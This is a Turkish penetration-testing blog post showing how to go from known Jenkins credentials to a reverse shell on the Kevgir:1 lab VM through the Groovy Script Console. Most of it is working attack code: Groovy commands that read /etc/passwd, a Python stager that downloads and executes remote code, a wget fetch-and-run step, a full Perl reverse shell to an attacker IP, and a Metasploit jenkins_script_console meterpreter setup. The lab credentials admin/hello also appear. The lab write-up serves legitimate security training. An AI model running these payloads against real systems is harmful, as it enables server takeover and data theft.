Kimlik Bilgisi Tespit Edilen Jenkins Uygulaması Üzerinden Ters Bağlantı Elde Edilmesi

0
1682
views
Sızma testleri sırasında, kimlik bilgileri tespit edilen Jenkins uygulaması üzerinden işletim sisteminin komut satırına erişim ihtiyacı olabilir. Bu yazıda, Kevgir:1 sanal makinesinde yüklü olan ve kimlik bilgileri bilinen Jenkins uygulaması üzerinden işletim sistemi komutları çalıştırılacak ve ters bağlantı elde edilecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Yazıda kullanılan Kevgir:1 sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/kevgir-1,137/

 

Mevcut ortamda Jenkins uygulaması 10.100.50.133 IP adresinin TCP 9000. portundan hizmet vermektedir.

nmap -Pn -n –reason -p9000 10.100.50.133 -sV

 

Jenkins, yazılım geliştirma süreçlerindeki derleme, test, build, deployment gibi işlemleri veya kod reposundaki değişikliklerin takibi, alarm maillerinin iletilmesi gibi çalışmaları otomatikleştirmek için kullanılan Java ile geliştrilmiş açık kaynak kodlu entegrasyon aracıdır.

Kevgir: 1 sanal makinesindeki Jenkins uygulamasına ait kimlik bilgileri MSF jenkins_login auxiliary modülü kullanılarak tespit edilir. Detaylar için kaynaklardaki Siberportal yazısı incelenebilir. Mevcut ortam için kimlik bilgileri aşağıdaki gibidir.

URL: http://10.100.50.133:9000/login?from=%2F
Kullanıcı adı: admin
Parola: hello

 

Ortamda sadece Jarvis kullanıcısının bulunduğu görülmektedir.

http://10.100.50.133:9000/asynchPeople/

 

Jenkins yönetim ekranında bir çok yapılandırma işlemi gerçekleştirilebilmektedir.

http://10.100.50.133:9000/manage

 

Jenkins; hata tespiti, problem giderme gibi amaçlar ile sunucu üzerinde komut çalıştırabilmeyi destekler. Script Console üzerinden çalıştırılabilecek komutlar için Groovy betik dili kullanılabilir.

http://10.100.50.133:9000/script

 

1) ProcessBuilder Sınıfı İle İşletim Sisteminde Kod Çalıştırma

İşletim sistemi üzerinde komut çalıştırmak için “ProcessBuilder” sınıfı kullanılabilir.

println new ProcessBuilder(‘id’).redirectErrorStream(true).start().text;
println new ProcessBuilder(‘uname’,’-a’).redirectErrorStream(true).start().text;
println new ProcessBuilder(‘cat’,’/etc/lsb-release’,’etc/os-release’).start().text;

 

Görüldüğü gibi, Jenkins uygulaması işletim sistemi üzerinde standart uygulama kullanıcısı yetkisi ile çalışmaktadır.

 

2) execute() Metodu İle İşletim Sisteminde Katar Formatındaki Kod Çalıştırma

İşletim sisteminde komut çalıştırmak için kullanılan yöntemlerden birisi de “execute()” metodudur.

def komutCiktisi = new StringBuffer(), hataMesaji = new StringBuffer()
def proses = ‘grep /bin/bash /etc/passwd’.execute()
proses.consumeProcessOutput(komutCiktisi, hataMesaji)
proses.waitForOrKill(1000)
println “Sonuc:\n$komutCiktisi”
println “Hata Mesaji:\n$hataMesaji”

 

Not: Yukarıdaki kullanım şekli ile başarılan komut çıktısı ve alınan hatalar birbirinden ayrılabilmiştir. Ancak bir çok özel karakterin ( | , & , > , < ,… vb.) işlenmesi sırasında hata alınabilmektedir. Bu sebeple, “cat /etc/passwd | grep /bin/bash” yerine “grep /bin/bash /etc/passwd” tercih edilmiştir.


def proses = “cat /etc/passwd | grep bash”.execute()

 

3) execute() Metodu İle Katar Formatındaki Python Kod Dosyasını Çalıştırarak Ters Bağlantı Elde Etme

Özel karakter kısıtını atlatmak için kullanılan yöntemlerden birisi bu komutları dosyaya kaydetmek, sonrasında bu dosyayı indirerek çalıştırmaktadır. Bu amaçla, Kali üzerinde MSF web_delivery auxiliary modülü kullanılabilir.

msfconsole -q
use multi/script/web_delivery
set LHOST 10.100.50.134
set LPORT 443
show options

 

Modülün çalıştırılması ile komut oluşur.

exploit

 

Oluşan komut aşağıdaki gibidir.

python -c “import sys;u=__import__(‘urllib’+{2:”,3:’.request’}[sys.version_info[0]],fromlist=(‘urlopen’,));r=u.urlopen(‘http://10.100.50.134:8080/uRFSp23uHlz’);exec(r.read());”

 

Oluşan komut içerisindeki betik kısmı bir dosyaya kaydedilir. Ve kurban Kevgir: 1 sanal makinesi üzerinden indirilmek üzere web servisi başlatılır.

echo “import sys;u=__import__(‘urllib’+{2:”,3:’.request’}[sys.version_info[0]],fromlist=(‘urlopen’,));r=u.urlopen(‘http://10.100.50.134:8080/uRFSp23uHlz’);exec(r.read());” > TersBaglanti.py
cat TersBaglanti.py
python -m SimpleHTTPServer 5555

 

Kali üzerindeki bu dosya Script Console ekranı ile Kevgir: 1 sanal makinesinin disk sistemine (/tmp gibi yazılabilir bir dizine) indirilir.


def proses = ‘wget http://10.100.50.134:5555/TersBaglanti.py -O /tmp/betik.py’.execute()

 

İndirilen bu Python dosyasının çalıştırılması ile ters bağlantı elde edilebilir.


def proses = ‘python /tmp/betik.py’.execute()

sessions -i 1

getuid
getpid
shell
ps -ef | grep 6235

 

4) execute() Metodu İle İşletim Sisteminde Dizi Formatındaki Kod Çalıştırma

İşletim sisteminde “execute()” metodu kullanılarak bir katar yerine dizi de çalıştırılabilir.

def proses = ([“sh”, “-c”, “cat /etc/passwd | grep jenkins & ps -ef | grep jenkins”] as String[]).execute().text

 

Böylece özel karakterin kullanımı da sağlanmış olmaktadır.

 

5) execute() Metodu İle Dizi Formatındaki Perl Kodunu Çalıştırarak Ters Bağlantı Elde Etme

Dizi kullanılarak ters bağlantı elde etmek için bir dizi ifadesi/değişkeni “execute()” metodu ile çalıştırılabilir. Bunun için öncelikle ters bağlantıyı yakalayacak dinleyici başlatılır.

nc -nlvp 443

 

PentestMonkey üzerindeki ters bağlantı yöntemlerinden birisi kullanılabilir. Perl ile ters bağlantı aşağıdaki gibi elde edilebilir.

def proses = ([“perl”, “-e”, “use Socket;\$i=\”10.100.50.134\”;\$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\”tcp\”));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\”>&S\”);open(STDOUT,\”>&S\”);open(STDERR,\”>&S\”);exec(\”/bin/sh -i\”);};”] as String[]).execute()

 

6) MSF jenkins_script_console İstismar Modülü ile Ters Bağlantı Elde Etme

Jenkins kimlik bilgileri elde edildikten sonra MSF jenkins_script_console istismar modülü ile Meterpreter bağlantısı elde edilebilir.

use exploit/multi/http/jenkins_script_console
set RHOST 10.100.50.133
set RPORT 9000
set TARGETURI /
set USERNAME admin
set PASSWORD hello
show targets
set TARGET 1
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 10.100.50.134
set LPORT 24680

 

Hedef uygulama, işletim sistemi bilgileri ve PAYLOAD bilgileri girilerek modül ayarlanmış olur.

show options

 

Modül çalıştırıldığında komut satırı erişimi elde edilmiş olur.

exploit
getuid
shell
pwd
uname -a

 

 

Modül incelendiğinde jcode değişkeninin çalıştırıldığı görülmektedir.

 

 

Kaynaklar:

https://alcakmuhendis.wordpress.com/2017/10/12/ders-1-jenkins-nedir/

Let’s hack a jenkins server!


https://yunusyildirim.blogspot.com/2016/04/kevgir-vm-cozum-walkthrough.html
https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter—toying-with-powersploit/

MSF jenkins_login Modülü ile Jenkins Uygulamasına Erişim Sağlanabilecek Hesaplara Ait Kimlik Bilgilerinin Tespit Edilmesi


https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/

 

 

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.